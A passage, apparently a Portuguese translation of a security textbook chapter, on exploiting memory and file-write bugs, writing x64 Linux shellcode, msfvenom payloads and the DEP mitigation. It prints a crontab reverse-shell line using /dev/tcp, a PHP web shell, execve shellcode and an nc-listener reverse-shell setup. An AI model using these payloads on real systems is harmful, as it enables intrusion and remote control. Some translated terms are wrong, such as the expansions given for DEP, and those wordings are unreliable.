gerenciamento incorreto de recursos pode ser devido a um
comando que permite especificar diretamente o local de
gravação de um arquivo ou a um comando que possui uma
vulnerabilidade de canonicalização de caminho, permitindo
especificar o local relativo ao diretório atual.
Independentemente de como a vulnerabilidade se manifeste, é
útil saber o que seria necessário gravar no sistema de arquivos
para obter execução de código.

A escrita arbitrária de memória, embora possa ser uma


consequência direta de um erro na implementação da
aplicação, também pode ocorrer como um subproduto de outra
vulnerabilidade, como um estouro de buffer no heap. Muitos
alocadores de memória heap antigos usavam uma estrutura de
lista encadeada para armazenar a lista de blocos livres; se esses
dados da lista encadeada fossem corrompidos, qualquer
modificação na lista de blocos livres poderia resultar na escrita
arbitrária de um valor em um local fornecido pelo atacante.

Para explorar uma vulnerabilidade de escrita arbitrária na


memória, é necessário modificar um local que possa controlar
diretamente a execução. Por exemplo, você pode visar o
ponteiro da VTable de um objeto na memória e sobrescrevê-lo
para obter controle sobre a execução, como nos métodos para
outras vulnerabilidades de corrupção.
Uma vantagem da escrita arbitrária é que ela pode levar à
subversão da lógica de uma aplicação. Como exemplo,
considere a aplicação em rede mostrada na Listagem 107. Sua
lógica cria uma estrutura de memória para armazenar
informações importantes sobre uma conexão, como o socket de
rede utilizado e se o usuário foi autenticado como
administrador, no momento da criação da conexão.

struct Session
int socket;
int is_admin;
;

Session* session = WaitForConnection();

Listagem 10-7: Uma estrutura simples de sessão de conexão

Neste exemplo, vamos assumir que algumas verificações de


código, como determinar se a sessão é de administrador ou não,
permitirão apenas a execução de certas tarefas, como alterar a
configuração do sistema. Existe um comando direto para
executar um comando do shell local se você estiver autenticado
como administrador na sessão, conforme mostrado na Listagem
10-8.
Comando c = ReadCommand(session->socket);
if ([Link] == CMD_RUN_COMMAND
&& session->is_admin)
system(c->data);

Listagem 10-8: Abrindo o comando executar como


administrador

Ao descobrir a localização do objeto de sessão na memória,


você pode alterar o valor de `is_admin` de 0 para 1, abrindo o
comando `run` para que o atacante obtenha controle sobre o
sistema alvo. Também poderíamos alterar o valor do socket
para apontar para outro arquivo, fazendo com que o aplicativo
escreva dados em um arquivo arbitrário ao gerar uma resposta,
pois na maioria das plataformas do tipo Unix, descritores de
arquivo e sockets são efetivamente o mesmo tipo de recurso.
Você pode usar a chamada de sistema `write` para escrever em
um arquivo, assim como pode usar para escrever no socket.

Embora este seja um exemplo artificial, ele deve ajudar você a


entender o que acontece em aplicações de rede do mundo real.
Para qualquer aplicação que utilize algum tipo de autenticação
para separar as responsabilidades de usuário e administrador,
você normalmente poderia subverter o sistema de segurança
dessa maneira.

Explorando permissões de gravação de arquivos com alto


privilégio

Se um aplicativo estiver sendo executado com privilégios


elevados, como privilégios de root ou administrador, suas
opções para explorar uma gravação arbitrária de arquivos são
amplas. Uma técnica é sobrescrever executáveis ou bibliotecas
que você sabe que serão executados, como o executável que
executa o serviço de rede que você está explorando. Muitas
plataformas oferecem outros meios de executar código, como
tarefas agendadas ou tarefas cron no Linux.

Se você tiver privilégios elevados, poderá escrever suas


próprias tarefas cron em um diretório e executá-las. Em
sistemas Linux modernos, geralmente já existem vários
diretórios cron dentro de /etc nos quais você pode escrever,
cada um com um sufixo que indica quando as tarefas serão
executadas. No entanto, escrever nesses diretórios exige que
você conceda permissões de execução ao arquivo de script. Se a
sua permissão de escrita em arquivo arbitrário fornecer apenas
permissões de leitura e gravação, você precisará escrever em
/etc/cron.d com um arquivo Crontab para executar comandos
de sistema arbitrários. A Listagem 10-9 mostra um exemplo de
um arquivo Crontab simples que será executado uma vez por
minuto e conectará um processo shell a um host e porta TCP
arbitrários, onde você poderá acessar comandos do sistema.

* * * * * root /bin/bash -c '/bin/bash -i >& /dev/tcp

Listagem 10-9: Um arquivo Crontab de shell reverso simples

Este arquivo Crontab deve ser gravado em /etc/cron.d/run_shell.


Observe que algumas versões do bash não suportam essa
sintaxe de shell reverso, então você precisaria usar outra coisa,
como um script Python, para obter o mesmo resultado. Agora,
vamos ver como explorar vulnerabilidades de gravação com
escritas de arquivos com privilégios baixos.

Explorando permissões de gravação de arquivos com


privilégios baixos

Se você não tiver privilégios elevados quando uma gravação


ocorrer, nem tudo está perdido; no entanto, suas opções serão
mais limitadas e você ainda precisará entender o que está
disponível no sistema para explorar. Por exemplo, se você
estiver tentando explorar um aplicativo web ou se houver um
servidor web instalado na máquina, pode ser possível inserir
uma página web renderizada no servidor, à qual você poderá
acessar por meio de um servidor web. Muitos servidores web
também têm o PHP instalado, o que permite executar comandos
como o usuário do servidor web e retornar o resultado desse
comando gravando o arquivo mostrado na Listagem 10-10 na
raiz da web (que pode estar em /var/www/html ou em vários
outros locais) com a extensão .php.

<?php
if (isset($_REQUEST['exec']))
$exec = $_REQUEST['exec'];
$result = system($exec);
echo $result;

?>

Listagem 10-10: Um shell PHP simples

Depois de instalar este shell PHP na raiz do servidor web, você


pode executar comandos arbitrários no sistema, no contexto do
servidor web, solicitando uma URL no formato
[Link] A URL resultará na execução
do código PHP no servidor: o shell PHP extrairá o parâmetro
exec da URL e o passará para a API do sistema, com o resultado
sendo a execução do comando arbitrário CMD.

Outra vantagem do PHP é que não importa o que mais esteja no


arquivo no momento da escrita: o analisador PHP procurará
pelas tags <?php … ?> e executará qualquer código PHP dentro
dessas tags, independentemente do restante do arquivo. Isso é
útil quando você não tem controle total sobre o que é escrito em
um arquivo durante a exploração da vulnerabilidade.

Escrevendo código Shell

Agora, vamos ver como começar a escrever seu próprio


shellcode. Usando esse shellcode, você pode executar comandos
arbitrários no contexto do aplicativo que está explorando com a
vulnerabilidade de corrupção de memória descoberta.

Escrever seu próprio shellcode pode ser complexo e, embora eu


não possa abordar o assunto em detalhes neste capítulo, darei
alguns exemplos que você poderá usar como base para
continuar sua pesquisa. Começarei com algumas técnicas
básicas e desafios da escrita de código x64 usando a plataforma
Linux.

Começando
Para começar a escrever código shell, você precisa do seguinte:

• Uma instalação do Linux x64.

• Um compilador; tanto o GCC quanto o CLANG são adequados.

• Uma cópia do Netwide Assembler (NASM); a maioria das


distribuições Linux possui um pacote disponível para isso.

No Debian e no Ubuntu, o seguinte comando deve instalar tudo


o que você precisa:

sudo apt-get install build-essential nasm

Vamos escrever o código shell em linguagem assembly x64 e


compilá-lo usando o nasm, um montador binário. A compilação
do seu código shell deve resultar em um arquivo binário
contendo apenas as instruções de máquina que você
especificou. Para testar seu código shell, você pode usar o
exemplo 10-11, escrito em C, como um ambiente de teste.

test_shellcode.c

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>

typedef int (*exec_code_t)(void);

int main(int argc, char** argv)


if (argc < 2)
printf("Uso: test_shellcode [Link]\n");
exit(1);

➊ int fd = open(argv[1], O_RDONLY);


if (fd <= 0)
perror("open");
exit(1);

struct stat st;


if (fstat(fd, &st) == -1)
perror("stat");
exit(1);
➋ exec_code_t shell = mmap(NULL, st.st_size,
➌ PROT_EXEC | PROT_READ, MAP_PRIVATE, fd, 0);

if (shell == MAP_FAILED)
perror("mmap");
exit(1);

printf("Endereço mapeado: %p\n", shell);


printf("Resultado do shell: %d\n", shell());

return 0;

Listagem 10-11: Um chicote de teste de código shell

O código recebe um caminho da linha de comando ➊ e o


mapeia na memória como um arquivo mapeado em memória
➋. Especificamos que o código é executável com a flag
PROT_EXEC ➌; caso contrário, várias mitigações de exploração
em nível de plataforma poderiam potencialmente impedir a
execução do shellcode.
Compile o código de teste usando o compilador C instalado,
executando o seguinte comando no terminal. Você não deverá
ver nenhum aviso durante a compilação.

$ cc –Wall –o test_shellcode test_shellcode.c

Para testar o código, insira o seguinte código assembly no


arquivo [Link], conforme mostrado na Listagem 10-12.

; Montar como 64 bits


BITS 64
mov rax, 100
ret

Listagem 10-12: Um exemplo simples de código shell

O código shell na Listagem 10-12 simplesmente move o valor


100 para o registrador RAX. O registrador RAX é usado como
valor de retorno para uma chamada de função. O ambiente de
teste chamará esse código shell como se fosse uma função,
portanto, esperamos que o valor do registrador RAX seja
retornado para o ambiente de teste. O código shell então emite
imediatamente a instrução `ret`, retornando para o chamador
do código shell, que neste caso é o nosso ambiente de teste. O
ambiente de teste deve então imprimir o valor de retorno 100,
se a operação for bem-sucedida.

Vamos experimentar. Primeiro, precisamos compilar o código


shell usando o nasm e, em seguida, executá-lo no ambiente de
teste:

$ nasm -f bin -o [Link] [Link]


$ ./test_shellcode [Link]
Endereço mapeado: 0x7fa51e860000
Resultado do shell: 100

A saída retorna 100 para o ambiente de teste, confirmando que


estamos carregando e executando o código shell com sucesso.
Também é importante verificar se o código montado no binário
resultante corresponde ao esperado. Podemos verificar isso
com a ferramenta complementar ndisasm, que desmonta este
arquivo binário simples sem a necessidade de um
desmontador, como o IDA Pro. Precisamos usar a opção -b 64
para garantir que o ndisasm utilize a desmontagem de 64 bits,
como mostrado aqui:

$ ndisasm -b 64 [Link]
0000 B8640000 mov eax,0x64
00005 C3 ret

A saída do ndisasm deve corresponder às instruções


especificadas no arquivo de shellcode original, conforme
mostrado na Listagem 10-12. Observe que usamos o registrador
RAX na instrução mov, mas na saída do desassemblador
encontramos o registrador EAX. O montador usa esse
registrador de 32 bits em vez de um de 64 bits porque percebe
que a constante 0x64 cabe em uma constante de 32 bits,
permitindo o uso de uma instrução mais curta em vez de
carregar uma constante inteira de 64 bits. Isso não altera o
comportamento do código, pois, ao carregar a constante em
EAX, o processador automaticamente define os 32 bits
superiores do registrador RAX como zero. A diretiva BITS
também está ausente, pois é uma diretiva do montador nasm
para habilitar o suporte a 64 bits e não é necessária na saída
final do código montado.

Técnica simples de depuração

Antes de começar a escrever um código shell mais complexo,


vamos examinar um método de depuração simples. Isso é
importante ao testar seu exploit completo, pois pode não ser
fácil interromper a execução do código shell exatamente no
ponto desejado. Adicionaremos um ponto de interrupção ao
nosso código shell usando a instrução `int3`, de forma que,
quando o código associado for chamado, qualquer depurador
conectado seja notificado.

Modifique o código na Listagem 10-12 conforme mostrado na


Listagem 10-13 para adicionar a instrução de ponto de
interrupção int3 e, em seguida, execute novamente o montador
nasm.

# Montar como 64 bits


BITS 64
int3
mov rax, 100
ret

Listagem 10-13: Um exemplo simples de shellcode com um


ponto de interrupção.

Se você executar o conjunto de testes em um depurador, como o


GDB, a saída deverá ser semelhante à Listagem 10-14.

$ gdb --args ./test_shellcode [Link]


GNU gdb 7.7.1
...
(gdb) display/1i $rip
(gdb) r
Iniciando programa: /home/user/test_shellcode debug_b
Endereço mapeado: 0x7fb6584f3000

➊ O programa recebeu o sinal SIGTRAP, Trace/breakpoin

0x00007fb6584f3001 em ?? ()
1: x/i $rip
➋ => 0x7fb6584f3001: mov $0x64,%eax
(gdb) stepi
0x00007fb6584f3006 em ?? ()
1: x/i $rip
=> 0x7fb6584f3006: retq
(gdb)
0x00004007f6 em main ()
1: x/i $rip
=> 0x4007f6 <main+281>: mov %eax,%esi

Listagem 10-14: Definindo um ponto de interrupção em um


shell
Ao executarmos o conjunto de testes, o depurador para em um
sinal SIGTRAP ➊. Isso ocorre porque o processador executou a
instrução int3, que atua como um ponto de interrupção,
fazendo com que o sistema operacional envie o sinal SIGTRAP
para o processo que o depurador está monitorando. Observe
que, ao imprimirmos a instrução que o programa está
executando no momento ➋, não é a instrução int3, mas sim a
instrução mov imediatamente seguinte. Não vemos a instrução
int3 porque o depurador a ignorou automaticamente para
permitir que a execução continue.

Chamadas do sistema

O exemplo de shellcode na Listagem 10-12 retorna apenas o


valor 100 para o chamador, neste caso, nossa estrutura de teste,
o que não é muito útil para explorar uma vulnerabilidade; para
isso, precisamos que o sistema faça algum trabalho para nós. A
maneira mais fácil de fazer isso em shellcode é usar as
chamadas de sistema do SO. Uma chamada de sistema é
especificada usando um número de chamada de sistema
definido pelo SO. Ela permite chamar funções básicas do
sistema, como abrir arquivos e executar novos processos.

Usar chamadas de sistema é mais fácil do que chamar


bibliotecas do sistema, pois você não precisa saber a localização
na memória de outros códigos executáveis, como a biblioteca C
do sistema. Não precisar conhecer a localização das bibliotecas
torna seu código shell mais simples de escrever e mais portátil
entre diferentes versões do mesmo sistema operacional.

No entanto, o uso de chamadas de sistema apresenta


desvantagens: elas geralmente implementam funcionalidades
de nível muito mais baixo do que as bibliotecas do sistema,
tornando-as mais complexas de serem chamadas, como você
verá. Isso é especialmente verdadeiro no Windows, que possui
chamadas de sistema muito complexas. Mas, para os nossos
propósitos, uma chamada de sistema será suficiente para
demonstrar como escrever seu próprio código shell.

As chamadas de sistema possuem sua própria interface binária


de aplicação (ABI) definida (consulte “Interface Binária de
Aplicação” na página 123 para obter mais detalhes). No Linux
x64, você executa uma chamada de sistema usando a seguinte
ABI:

• O número da chamada de sistema é colocado no registrador


RAX.

• É possível passar até seis argumentos para a chamada de


sistema nos registradores RDI, RSI, RDX, R10, R8 e R9.
• A chamada de sistema é emitida usando a instrução syscall.

• O resultado da chamada de sistema é armazenado em RAX


após o retorno da instrução syscall.

Para obter mais informações sobre o processo de chamadas de


sistema do Linux, execute `man 2 syscall` na linha de comando
do Linux. Esta página contém um manual que descreve o
processo de chamadas de sistema e define a ABI para várias
arquiteturas diferentes, incluindo x86 e ARM. Além disso, `man
2 syscalls` lista todas as chamadas de sistema disponíveis. Você
também pode ler as páginas individuais de uma chamada de
sistema executando `man 2 <NOME DA CHAMADA DE
SISTEMA>`.

A chamada de sistema de saída

Para usar uma chamada de sistema, primeiro precisamos do


número da chamada de sistema. Vamos usar a chamada de
sistema de saída como exemplo.

Como encontramos o número de uma chamada de sistema


específica? O Linux vem com arquivos de cabeçalho que
definem todos os números de chamadas de sistema para a
plataforma atual, mas tentar encontrar o arquivo de cabeçalho
correto no disco pode ser como dar uma volta em círculos. Em
vez disso, vamos deixar o compilador C fazer o trabalho para
nós. Compile o código C na Listagem 10-15 e execute-o para
imprimir o número da chamada de sistema de saída.

#include <stdio.h>
#include <sys/syscall.h>

int main()
printf("Syscall: %d\n", SYS_exit);
return 0;

Listagem 10-15: Obtendo o número da chamada do sistema

No meu sistema, o número da chamada de sistema para `exit`


é 60, que é impresso na minha tela; o seu pode ser diferente
dependendo da versão do kernel Linux que você está usando,
embora os números não mudem com muita frequência. A
chamada de sistema `exit` recebe especificamente o código de
saída do processo como um único argumento para retornar ao
sistema operacional e indicar por que o processo foi encerrado.
Portanto, precisamos passar o número que queremos usar para
o código de saída do processo para o `RDI`. A ABI do Linux
especifica que o primeiro parâmetro de uma chamada de
sistema é especificado no registrador `RDI`. A chamada de
sistema `exit` não retorna nada do kernel; em vez disso, o
processo (o shell) é encerrado imediatamente. Vamos
implementar a chamada `exit`. Compile o código da Listagem
10-16 com o `nasm` e execute-o dentro do ambiente de teste.

BITS 64
; O número da chamada de sistema exit
mov rax, 60
; O argumento do código de saída
mov rdi, 42
syscall

; exit nunca deve retornar, mas por precaução.


ret

Listagem 10-16: Chamando a chamada de sistema exit no código


shell

Observe que a primeira instrução `print` na Listagem 10-16,


que mostra onde o shellcode foi carregado, ainda é impressa,
mas a instrução `print` subsequente, referente ao retorno do
shellcode, não é. Isso indica que o shellcode chamou com
sucesso a função de sistema `exit`. Para verificar isso, você
pode exibir o código de saída do ambiente de teste no seu shell,
por exemplo, usando `echo $?` no bash. O código de saída deve
ser 42, que é o valor que passamos como argumento para `mov
rdi`.

A chamada de sistema de escrita

Agora, vamos tentar chamar a função `write`, uma chamada


de sistema um pouco mais complexa que grava dados em um
arquivo. Use a seguinte sintaxe para a chamada de sistema
`write`:

ssize_t write(int fd, const void *buf, size_t count);

O argumento `fd` é o descritor de arquivo no qual se deseja


escrever. Ele contém um valor inteiro que descreve qual
arquivo você deseja acessar. Em seguida, você declara os dados
a serem gravados, apontando o buffer para o local dos dados.
Você pode especificar quantos bytes gravar usando `count`.

Usando o código na Listagem 10-17, passaremos o valor 1 para o


argumento fd, que é a saída padrão do console.

BITS 64
%define SYS_write 1
%define STDOUT 1

_start:
mov rax, SYS_write
; O primeiro argumento (rdi) é o descritor de arquivo
mov rdi, STDOUT
; O segundo argumento (rsi) é um ponteiro para uma st
lea rsi, [_greeting]
; O terceiro argumento (rdx) é o comprimento da strin
mov rdx, _greeting_end - _greeting
; Execute a chamada de sistema de escrita
syscall
ret

_greeting:
db "Olá Usuário!", 10
_greeting_end:

Listagem 10-17: Chamando a chamada de sistema write em


código shell

Ao escrever na saída padrão, imprimiremos os dados


especificados em `buf` no console para que possamos verificar
se funcionou. Em caso de sucesso, a string "Olá Usuário!" deverá
ser impressa no console do shell onde o ambiente de teste está
sendo executado. A chamada de sistema `write` também
deverá retornar o número de bytes gravados no arquivo.

Agora, compile o código da Listagem 10-17 com o nasm e


execute o binário no ambiente de teste:

$ nasm -f bin -o [Link] [Link]


$ ./test_shellcode [Link]
Endereço mapeado: 0x7f165ce1f000
Resultado do shell: -14

Em vez de imprimir a saudação "Olá, usuário!" que


esperávamos, obtemos um resultado estranho, -14. Qualquer
valor retornado da chamada de sistema `write` que seja menor
que zero indica um erro. Em sistemas do tipo Unix, incluindo o
Linux, existe um conjunto de números de erro definidos
(abreviados como `errno`). O código de erro é definido como
positivo no sistema, mas retorna como negativo para indicar
que se trata de uma condição de erro. Você pode consultar o
código de erro nos arquivos de cabeçalho C do sistema, mas o
pequeno script em Python na Listagem 10-18 fará o trabalho
para nós.
import os

# Especifica o número de erro positivo


err = 14
print [Link][err]
# Imprime 'EFAULT'
print [Link](err)
# Imprime 'Endereço inválido'

Listagem 10-18: Um script Python simples para imprimir


códigos de erro.

Executar o script imprimirá o código de erro como EFAULT e a


descrição como "Endereço inválido". Esse código de erro indica
que a chamada de sistema tentou acessar uma área de memória
inválida, resultando em uma falha de memória. O único
endereço de memória que estamos passando é o ponteiro para
a saudação. Vamos analisar o código desmontado para
descobrir se o ponteiro que estamos passando é o culpado:

0000 B8010000 mov rax,0x1


00005 BF010000 mov rdi,0x1
0000A 488D34251A0000 lea rsi,[0x1a]
000012 BA0C0000 mov rdx,0xc
000017 0F05 syscall
000019 C3 ret
00001A db "Olá Usuário!", 10

Agora podemos ver o problema com nosso código: a instrução


`lea`, que carrega o endereço da saudação, está carregando o
endereço absoluto 0x1A. Mas, se você observar as execuções do
ambiente de teste que fizemos até agora, o endereço no qual
carregamos o código executável não é 0x1A nem está próximo
disso. Essa discrepância entre o local onde o shellcode é
carregado e os endereços absolutos causa um problema. Nem
sempre podemos determinar antecipadamente onde o
shellcode será carregado na memória, então precisamos de
uma maneira de referenciar a saudação em relação ao local de
execução atual. Vejamos como fazer isso em processadores x86
de 32 e 64 bits.

Acessando o endereço relativo em sistemas de 32 e 64 bits

No modo x86 de 32 bits, a maneira mais simples de obter um


endereço relativo é aproveitar o fato de que a instrução `call`
funciona com endereços relativos. Quando uma instrução
`call` é executada, ela coloca o endereço absoluto da instrução
subsequente na pilha como endereço de retorno. Podemos usar
esse valor de endereço de retorno absoluto para calcular de
onde o shellcode atual está sendo executado e ajustar o
endereço de memória da saudação para corresponder. Por
exemplo, substitua a instrução `lea` na Listagem 10-17 pelo
seguinte código:

call _get_rip
_get_rip:
; Remove o endereço de retorno da pilha
pop rsi
; Adiciona o deslocamento relativo do retorno à sauda
add rsi, _greeting - _get_rip

Usar uma chamada relativa funciona bem, mas complica


bastante o código. Felizmente, o conjunto de instruções de 64
bits introduziu o endereçamento de dados relativo. Podemos
acessar isso no NASM adicionando a palavra-chave `rel` antes
de um endereço. Alterando a instrução `lea` da seguinte forma,
podemos acessar o endereço da saudação em relação à
instrução em execução:

lea rsi, [rel _greeting]


Agora podemos remontar nosso código shell com essas
alterações, e a mensagem deverá ser impressa com sucesso:

$ nasm -f bin -o [Link] [Link]


$ ./test_shellcode [Link]
Endereço mapeado: 0x7f165dedf000
Olá, usuário!
Resultado do shell: 12

Executando os outros programas

Vamos concluir nossa visão geral das chamadas de sistema


executando outro binário usando a chamada de sistema
`execve`. Executar outro binário é uma técnica comum para
obter execução em um sistema alvo sem a necessidade de um
código shell longo e complexo. A chamada de sistema `execve`
recebe três parâmetros: o caminho para o programa a ser
executado, um array de argumentos da linha de comando
terminado por `NULL` e um array de variáveis de ambiente
também terminado por `NULL`. Chamar `execve` requer um
pouco mais de trabalho do que chamar chamadas de sistema
simples, como `write`, porque precisamos construir os arrays
na pilha; no entanto, não é tão difícil. O exemplo 10-19 executa
o comando `uname` passando o argumento `-a`.
[Link]

BITS 64

%define SYS_execve 59

_start:
mov rax, SYS_execve
; Carrega o caminho do executável
➊ lea rdi, [rel _exec_path]
; Carrega o argumento
lea rsi, [rel _argument]
; Construir array de argumentos na pilha = { _exec_pa
➋ push 0
push rsi
push rdi
➌ mov rsi, rsp
; Construir array de ambiente na pilha = { NULL }
push 0
➍ mov rdx, rsp
➎ syscall
; execve não deveria retornar, mas por precaução
ret
_exec_path:
db "/bin/uname", 0
_argument:
db "-a", 0

Listagem 10-19: Executando um executável arbitrário em


código shell

O shellcode na Listagem 10-19 é complexo, então vamos


analisá-lo passo a passo. Primeiro, os endereços de duas strings,
"/bin/uname" e "-a", são carregados nos registradores ➊. Os
endereços das duas strings com o NUL final (representado por
um 0) são então colocados na pilha em ordem inversa ➋. O
código copia o endereço atual da pilha para o registrador RSI,
que é o segundo argumento da chamada de sistema ➌. Em
seguida, um único NUL é colocado na pilha para o array de
ambiente, e o endereço na pilha é copiado para o registrador
RDX ➍, que é o terceiro argumento da chamada de sistema. O
registrador RDI já contém o endereço da string "/bin/uname",
então nosso shellcode não precisa recarregar o endereço antes
de chamar a chamada de sistema. Finalmente, executamos a
chamada de sistema execve ➎, que executa o equivalente em
shell do seguinte código C:
char* args[] = { "/bin/uname", "-a", NULL };
char* envp[] = { NULL };
execve("/bin/uname", args, envp);

Se você compilar o código shell do execve, deverá ver uma


saída semelhante à seguinte, onde a linha de comando
/bin/uname -a é executada:

$ nasm -f bin -o [Link] [Link]


$ ./test_shellcode [Link]

Endereço mapeado: 0x7fbdc3c1e000


Linux foobar 4.4.0 Qua 31 Dez 14:42:53 PST 2014 x86_6

Gerando Shell Code com Metasploit

Vale a pena praticar a escrita do seu próprio shellcode para


obter uma compreensão mais profunda. No entanto, como as
pessoas escrevem shellcode há muito tempo, já existe uma
grande variedade de exemplos disponíveis online para
diferentes plataformas e finalidades.
O projeto Metasploit é um repositório útil de shellcode. O
Metasploit oferece a opção de gerar shellcode como um arquivo
binário, que você pode facilmente integrar ao seu próprio
exploit. Usar o Metasploit tem muitas vantagens:

• Manipulação da codificação do shellcode, removendo


caracteres proibidos ou formatando-o para evitar a detecção.

• Suporte a diversos métodos para obter execução, incluindo


shell reverso simples e execução de novos binários.

• Suporte a múltiplas plataformas (incluindo Linux, Windows e


macOS), bem como a múltiplas arquiteturas (como x86, x64 e
ARM)

Não vou explicar em detalhes como criar módulos do


Metasploit ou usar o shellcode pré-configurado, que exige o uso
do console do Metasploit para interagir com o alvo. Em vez
disso, usarei um exemplo simples de um shell TCP reverso para
mostrar como gerar shellcode usando o Metasploit. (Lembre-se
de que um shell TCP reverso permite que a máquina alvo se
comunique com a máquina do atacante por meio de uma porta
de escuta, que o atacante pode usar para obter execução.)

Acessando Payloads do Metasploit


O utilitário de linha de comando msfvenom vem incluído na
instalação do Metasploit, que fornece acesso aos diversos
payloads de shell code integrados ao Metasploit. Podemos listar
os payloads suportados para Linux x64 usando a opção -l e
filtrando a saída:

# msfvenom -l | grep linux/x64


--snip--
linux/x64/shell_bind_tcp Aguarda uma conexão e inicia
linux/x64/shell_reverse_tcp Conecta-se de volta ao at

Usaremos dois códigos de shell:

shell_bind_tcp Vincula-se a uma porta TCP e abre um shell local


quando conectado a ela.

shell_reverse_tcp Tenta se conectar de volta à sua máquina com


um shell anexado.

Ambas as cargas úteis devem funcionar com uma ferramenta


simples, como o Netcat, seja conectando-se ao sistema alvo ou
escutando no sistema local.

Construindo uma estrutura reversa


Ao gerar o código shell, você deve especificar a porta de escuta
(para shell bind e shell reverso) e o endereço IP de escuta (para
shell reverso, este é o endereço IP da sua máquina). Essas
opções são especificadas passando LPORT=porta e LHOST=IP,
respectivamente. Usaremos o código a seguir para construir um
shell TCP reverso, que se conectará ao host [Link] na porta
TCP 4444:

# msfvenom -p linux/x64/shell_reverse_tcp -f raw LHOS


LPORT=4444 > msf_shellcode.bin

Por padrão, a ferramenta msfvenom envia o código shell para a


saída padrão, então você precisará redirecioná-lo para um
arquivo; caso contrário, ele será impresso no console e perdido.
Também precisamos especificar a flag -f raw para gerar o
código shell como um bloco binário bruto. Existem outras
opções possíveis. Por exemplo, você pode gerar o código shell
em um pequeno executável .elf, que pode ser executado
diretamente para testes. Como temos um ambiente de teste, não
precisaremos fazer isso.

Executando a carga útil


Para executar o payload, precisamos configurar uma instância
do netcat escutando na porta 4444 (por exemplo, `nc -l 4444`).
É possível que você não veja um prompt quando a conexão for
estabelecida. No entanto, digitar o comando `id` deve exibir o
resultado:

$ nc -l 4444
# Aguarde a conexão
id
uid=1000(user) gid=1000(user) groups=1000(user)

O resultado mostra que o shell executou com sucesso o


comando `id` no sistema em que o código do shell está sendo
executado e imprimiu os IDs de usuário e grupo do sistema.
Você pode usar uma carga útil semelhante no Windows, macOS
e até mesmo no Solaris. Pode valer a pena explorar as várias
opções do msfvenom por conta própria.

Mitigações de Exploração de Corrupção de Memória

Em “Explorando Vulnerabilidades de Corrupção de Memória”,


na página 246, mencionei as medidas de mitigação e como elas
dificultam a exploração de vulnerabilidades de memória. A
verdade é que explorar uma vulnerabilidade de corrupção de
memória na maioria das plataformas modernas pode ser
bastante complicado devido às medidas de mitigação
adicionadas aos compiladores (e ao aplicativo gerado), bem
como ao sistema operacional.

As vulnerabilidades de segurança parecem ser uma parte


inevitável do desenvolvimento de software, assim como
grandes porções de código-fonte escritas em linguagens
inseguras em relação à memória e que não são atualizadas por
longos períodos. Portanto, é improvável que as
vulnerabilidades de corrupção de memória desapareçam da
noite para o dia.

Em vez de tentar corrigir todas essas vulnerabilidades, os


desenvolvedores implementaram técnicas inteligentes para
mitigar o impacto das falhas de segurança conhecidas.
Especificamente, essas técnicas visam dificultar ou, idealmente,
impossibilitar a exploração de vulnerabilidades de corrupção
de memória. Nesta seção, descreverei algumas das técnicas de
mitigação de exploração usadas em plataformas e ferramentas
de desenvolvimento contemporâneas que dificultam a
exploração dessas vulnerabilidades por atacantes.

Prevenção de Execução de Dados

Como você viu anteriormente, um dos principais objetivos ao


desenvolver um exploit é obter o controle do ponteiro de
instrução. Na minha explicação anterior, eu ignorei os
problemas que podem ocorrer ao colocar seu shellcode na
memória e executá-lo. Em plataformas modernas, é improvável
que você consiga executar shellcode arbitrário tão facilmente
quanto descrito anteriormente, devido à prevenção de
execução de dados (DEP) ou à mitigação de não execução (NX).

O DEP tenta mitigar a exploração de corrupção de memória


exigindo que a memória com instruções executáveis seja
alocada especificamente pelo sistema operacional. Isso requer
suporte do processador para que, se o processo tentar executar
em um endereço de memória que não esteja marcado como
executável, o processador gere um erro. O sistema operacional,
então, encerra o processo com erro para impedir sua execução.

O erro resultante da execução em memória não executável


pode ser difícil de detectar e parecer confuso à primeira vista.
Quase todas as plataformas reportam erroneamente o erro
como "Falha de Segmentação" ou "Violação de Acesso" em
código que parece legítimo. Você pode confundir esse erro com
uma tentativa da instrução de acessar memória inválida.
Devido a essa confusão, você pode perder tempo depurando seu
código para descobrir por que seu shellcode não está sendo
executado corretamente, acreditando ser um bug no seu código
quando, na verdade, é o DEP (Dependência de Exclusão de
Área) que está sendo acionado. Por exemplo, a Listagem 10-20
mostra um exemplo de uma falha de DEP.

GNU gdb 7.7.1


(gdb) r
Iniciando programa: /home/user/triage/dep

O programa recebeu o sinal SIGSEGV, Falha de segmenta


0xbffff730 em ?? ()

(gdb) x/3i $pc


=> 0xbffff730: push $0x2a➊
0xbffff732: pop %eax
0xbffff733: ret

Listagem 10-20: Um exemplo de falha resultante da execução de


memória não executável.

É difícil determinar a origem dessa falha. À primeira vista, você


pode pensar que se deve a um ponteiro de pilha inválido,
porque a instrução push em ➊ resultaria no mesmo erro.
Somente observando onde a instrução está localizada é possível
descobrir que ela estava sendo executada em memória não
executável. Você pode determinar se ela está em memória
executável usando os comandos de mapeamento de memória
descritos na Tabela 10-8.

Em muitos casos, o DEP é muito eficaz na prevenção da


exploração fácil de vulnerabilidades de corrupção de memória,
pois permite que um desenvolvedor de plataforma limite a
memória executável a módulos específicos, deixando áreas
como o heap ou a pilha não executáveis. No entanto, limitar a
memória executável dessa forma exige suporte de hardware e
software, tornando o software vulnerável a erros humanos. Por
exemplo, ao explorar um dispositivo simples conectado à rede,
os desenvolvedores podem não ter se preocupado em habilitar
o DEP ou o hardware utilizado pode não ser compatível com
ele.

Se o DEP estiver ativado, você pode usar o método de


programação orientada a retorno como solução alternativa.

Contra-exploração de programação orientada a retorno

O desenvolvimento da técnica de programação orientada a


retorno (ROP) foi uma resposta direta ao aumento de
plataformas equipadas com DEP (Deep Encryption Program).
ROP é uma técnica simples que reaproveita instruções
existentes e já executáveis, em vez de injetar instruções
arbitrárias na memória e executá-las. Vejamos um exemplo
simples de exploração de corrupção de memória na pilha
usando essa técnica.

Em plataformas do tipo Unix, a biblioteca C, que fornece a API


básica para aplicações como a abertura de arquivos, também
possui funções que permitem iniciar um novo processo
passando a linha de comando no código do programa. A função
`system()` é um exemplo e possui a seguinte sintaxe:

int system(const char *comando);

A função recebe uma string de comando simples, que


representa o programa a ser executado e os argumentos da
linha de comando. Essa string de comando é passada para o
interpretador de comandos, ao qual retornaremos mais tarde.
Por ora, saiba que se você escrever o seguinte em um aplicativo
C, ele executará o aplicativo ls no shell:

sistema("ls");

Se conhecermos o endereço da API do sistema na memória,


podemos redirecionar o ponteiro de instrução para o início das
instruções da API; além disso, se pudermos influenciar o
parâmetro na memória, podemos iniciar um novo processo sob
